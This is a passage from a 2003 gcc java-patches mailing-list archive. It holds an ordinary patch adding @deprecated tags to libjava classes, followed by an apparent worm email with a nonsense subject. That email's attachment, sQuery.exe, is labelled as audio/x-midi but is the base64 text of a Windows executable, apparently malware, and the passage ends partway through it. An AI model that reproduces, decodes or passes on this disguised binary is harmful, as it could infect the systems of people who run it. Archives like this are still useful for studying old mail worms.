by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3979 invoked from network); 24 Feb 2003 16:42:09 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 24 Feb 2003 16:42:09 -0000 Received: from fleche.redhat.com (te0194.peakpeak.com [204.144.238.194]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id JAA15159; Mon, 24 Feb 2003 09:42:08 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 292454F828E; Mon, 24 Feb 2003 09:34:10 -0700 (MST) To: java-patches@gcc.gnu.org Subject: Patch: FYI: some deprecation fixes From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I am NOT a nut.... Date: 24 Feb 2003 09:34:10 -0700 Message-ID: <87heat8wot.fsf@fleche.redhat.com> Lines: 72 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in to the trunk. Now that @deprecated works, last night's japi page shows real bugs here. This patch fixes a few. Tom Index: ChangeLog from Tom Tromey * java/lang/ClassLoader.java (defineClass(byte[],int,int)): Deprecate. * java/lang/Thread.java (resume): Deprecate. * java/io/ByteArrayOutputStream.java (toString(int)): Fixed typo in @deprecated. Index: java/io/ByteArrayOutputStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/ByteArrayOutputStream.java,v retrieving revision 1.8 diff -u -r1.8 ByteArrayOutputStream.java --- java/io/ByteArrayOutputStream.java 22 Jan 2002 22:40:13 -0000 1.8 +++ java/io/ByteArrayOutputStream.java 24 Feb 2003 16:24:07 -0000 @@ -1,5 +1,5 @@ /* BufferedReader.java - Copyright (C) 1998, 1999, 2000, 2001 Free Software Foundation, Inc. + Copyright (C) 1998, 1999, 2000, 2001, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -190,7 +190,7 @@ * @return A String containing the data written to this * stream so far * - * @deprecrated + * @deprecated */ public String toString (int hibyte) { Index: java/lang/ClassLoader.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/lang/ClassLoader.java,v retrieving revision 1.26 diff -u -r1.26 ClassLoader.java --- java/lang/ClassLoader.java 24 Jan 2003 19:37:17 -0000 1.26 +++ java/lang/ClassLoader.java 24 Feb 2003 16:24:08 -0000 @@ -380,7 +380,9 @@ * @return the class defined. * @exception java.lang.ClassNotFoundException * @exception java.lang.LinkageError - * @see ClassLoader#defineClass(String,byte[],int,int) */ + * @see ClassLoader#defineClass(String,byte[],int,int) + * @deprecated use {@link #defineClass(String, byte[], int, int)} instead + */ protected final Class defineClass(byte[] data, int off, int len) throws ClassFormatError { Index: java/lang/Thread.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/lang/Thread.java,v retrieving revision 1.25 diff -u -r1.25 Thread.java --- java/lang/Thread.java 22 Feb 2003 14:16:29 -0000 1.25 +++ java/lang/Thread.java 24 Feb 2003 16:24:08 -0000 @@ -297,6 +297,7 @@ * Resume a suspended thread. * * @see #resume() + * @deprecated pointless, since suspend is deprecated */ public final native void resume (); From java-patches-return-6270-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 24 16:44:46 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 6293 invoked by alias); 24 Feb 2003 16:44:46 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 6271 invoked from network); 24 Feb 2003 16:44:45 -0000 Received: from unknown (HELO relay-3v.club-internet.fr) (194.158.96.114) by 172.16.49.205 with SMTP; 24 Feb 2003 16:44:45 -0000 Received: from Rrudokhz (lxxx-5-114.n.club-internet.fr [213.44.9.114]) by relay-3v.club-internet.fr (Postfix) with SMTP id 7D354170D for ; Mon, 24 Feb 2003 17:43:19 +0100 (CET) From: mark To: java-patches@gcc.gnu.org Subject: 2001 Microsoft Corporation. All rights MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=T8M536VLD4D300QX7 Message-Id: <20030224164319.7D354170D@relay-3v.club-internet.fr> Date: Mon, 24 Feb 2003 17:43:19 +0100 (CET) --T8M536VLD4D300QX7 Content-Type: text/html; Content-Transfer-Encoding: quoted-printable --T8M536VLD4D300QX7 Content-Type: audio/x-midi; name=sQuery.exe Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 